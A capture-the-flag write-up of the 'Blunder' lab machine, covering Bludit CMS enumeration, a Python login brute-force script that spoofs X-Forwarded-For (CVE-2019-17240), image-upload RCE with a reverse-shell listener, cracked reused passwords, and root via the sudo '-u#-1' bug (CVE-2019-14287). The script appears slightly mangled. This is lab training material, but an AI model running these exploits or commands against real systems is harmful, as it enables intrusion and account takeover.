Linux easy box about web enumeration, password reuse and sudo CVE exploitation. Created by egotisticalSW.

Table of contents

Box info

BlunderLinuxEasy2030 May 202010.10.10.191egotisticalSW



The usual nmap command, to know where to start:

$ sudo nmap -sS -sV -sC -p- --reason -oN scan.nmap
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.016s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
21/tcp closed ftp     reset ttl 63
80/tcp open   http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Everything seems to be happening on the port 80.

Website enumeration

The home page of the website just contains three little blog posts and an “about” section. bludit home Let’s try to enumerate files and directories available on the web server:

$ ffuf -u '' -w '~/wordlists/big.txt'
about                   [Status: 200, Size: 3280, Words: 225, Lines: 106]
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1]
cgi-bin/                [Status: 301, Size: 0, Words: 1, Lines: 1]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
usb                     [Status: 200, Size: 3959, Words: 304, Lines: 111]

The /admin is protected by a login form. bludit login Bludit is the CMS here. Wappalyzer didn’t detect any version number, but we can check by hand in source code. bludit version Now let’s ask cvedetails for vulnerabilities that affect Bludit 3.9.2. bludit 3.9.2 vulnerabilities Nice, we can bruteforce the login form, but we will need at least a username to perform it. Once we get an account of the website, we can get a reverse shell thanks to the RCE vulnerability.

So our first task is to find a valid username. Maybe the official documentation contains information about a default account, or anything that could give us a hint to authenticate. This page talks about the admin user, but they advise to disable it, and it doesn’t have a predictable password. Another page is about password recovery, but it needs the recovery.php file which is only usable from CLI, and it’s not even on the current server.

Other files and directories are not interesting, so we can try to run ffuf with the same wordlist, but adding common extensions:

$ ffuf -u '' -w '~/wordlists/big.txt' -e '.php,.txt'
install.php             [Status: 200, Size: 30, Words: 5, Lines: 1]
todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5]

The install.php file was just used to setup the Bludit server, but the todo.txt is definitely more interseting. It says:

-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

These notes confirm that the admin user has been deactivated, but now we have a new target: the user fergus. Besides, the fact that they need to update the CMS shows that we will probably be able to exploit some CVE on this server.


Login bruteforce

Now that we know a valid username, we can try to bruteforce his password thanks to the CVE-2019-17240. The linked blog post shows why the anti-bruteforce system in Bludit 3.9.2 is not reliable, and provides an already-made script to exploit it. The trick is just to change the X-Forwarded-For header’s value every request, because Bludit trusts it to identify the client. After customizing it a little to fit our case, this is what our looks like:

#!/usr/bin/env python3
import re
import requests
import sys

host = ''
login_url = host + '/admin/login'
username = sys.argv[1]              # username as first argument

with open(sys.argv[2]) as f:        # wordlist as second argument
    for password in f:
        password = password.rstrip('\n')
        session = requests.Session()
        login_page = session.get(login_url)
        csrf_token ='input.+?name=\"tokenCSRF\".+?value=\"(.+?)\"', login_page.text).group(1)
        print('[*] Trying: {p}'.format(p = password))

        headers = {
            'X-Forwarded-For': password,
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
            'Referer': login_url

        data = {
            'tokenCSRF': csrf_token,
            'username': username,
            'password': password,
            'save': ''

        login_result =, headers = headers, data = data, allow_redirects = False)

        if 'location' in login_result.headers:
            if '/admin/dashboard' in login_result.headers['location']:
                print('SUCCESS: Password found!')
                print('Use {u}:{p} to login.'.format(u = username, p = password))

Unfortunately, it turns out running this script our wordlists containing basic passwords won’t give any result.

$ ./ fergus ~/wordlists/1000-most-common-passwords.txt
[*] Trying: 123456
[*] Trying: password
[*] Trying: polina
[*] Trying: freepass  # last request, password not found :c

The problem is that we cannot really use rockyou.txt or any big wordlist because the requests frequency is too low for that.
The solution consists of creating a wordlist containing every word in the homepage.

$ curl -s | tr ' ' '\n' | egrep "^[a-zA-Z0-9\-_\,\.\']+$" > wordlist.txt
$ ./ fergus wordlist.txt 
[*] Trying: Dynamic
[*] Trying: title
[*] Trying: tag
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login

Looks like fergus was really a Stephen King enthusiast.

RCE via file upload

We can go to /admin/login and login successfully with fergus:RolandDeschain. Our rights are very minimal, we are only able to write new content: bludit admin home However, we have access to the image upload and it is enough to exploit CVE-2019-16113 we found earlier. upload image In fact, it is possible to upload an “image” file actually containing PHP code, and make the server execute it, giving us a shell. Let’s clone the GitHub repo, rename into, and tweak the required variables:

# Modify as needed

# Target Bludit credentials
USERNAME = "fergus"
PASSWORD = "RolandDeschain"

# For reverse shell
# Setup listner prior to execution: nc -lvp 303


In another terminal, we launch a TCP listener:

$ ncat -lvp 8173
Ncat: Version 7.80 ( )
Ncat: Listening on :::8173
Ncat: Listening on

And we execute the magic script with:

$ ./

And it spawns kindly :D

Password reuse

Right after the shell spawned, we can enumerate users and groups on the system:

$ cat /etc/passwd |grep sh |cut -d: -f1
$ cat /etc/group | egrep '(hugo|shaun)' |cut -d: -f1,4

As well as listening sockets:

$ netstat -lnptu
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp6       0      0 ::1:631                 :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
udp        0      0 *                           -
udp        0      0 *                           -
udp        0      0   *                           -
udp        0      0  *                           -
udp6       0      0 :::47631                :::*                                -
udp6       0      0 :::5353                 :::*                                -

The port 631 is suspicious, let’s check its version:

$ wget -O-  # in case curl is not installed
<title>Home - CUPS 2.2.12</title>

It is probably a bait because the CUPS version is up-to-date, and searchsploit doesn’t give any result.
Staying focused on our current scope before expanding it is a better idea. By ls ing around, we find that there are 2 Bludit websites in /var/www, even though only 1 is running:

$ ls -lah /var/www
total 20K
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 .
drwxr-xr-x 15 root     root     4.0K Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4.0K May 19 15:13 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 bludit-3.9.2
drwxr-xr-x  2 root     root     4.0K Nov 28  2019 html

Our goal here is to search in them for credentials. In Bludit, passwords hashes are stored in the bl-content/databases.users.php file. By reading it in the 2 installations, we find 3 users in total: admin, fergus, and hugo. The account hugo is very interesting, as it is also one of the system users. To get his password, CrackStation is always a good starting point.


Nice! In our reverse shell, running:

$ su hugo
Password: Password120

gives us access to hugo's account, thank you password reuse!
Let’s read the user flag.

$ cat /home/hugo/user.txt

Fresh sudo CVE

Since we have our current user’s credentials, we can enumerate sudo rules applied to him.

$ sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

We can get a shell as every user except root! First I tried to log as the other interesting user, shaun, but all I found were baits, with 2 useless screenshots in his ~/Pictures directory: Screenshot from 2019-11-28 13-17-29.png Screenshot from 2019-11-28 14-02-13.png Anyway, in addition of enumerating sudo rules for hugo, checking the software’s version was the last necessary task of enumeration:

$ sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

By running searchsploit, we are able to find quickly a recent vulnerability affecting sudo up till version 1.8.27, the CVE 2019-14287.
This exploit is achievable if the sudo rules include a line looking like the (ALL, !root) /bin/bash that we have. The bug is that if you ask to run /bin/bash with the uid -1, your shell will spawn as root.

So the following works, and the box is rooted:

hugo@blunder:~$ sudo -u#-1 /bin/bash
Password: Password120
root@blunder:/home/hugo# cat /root/root.txt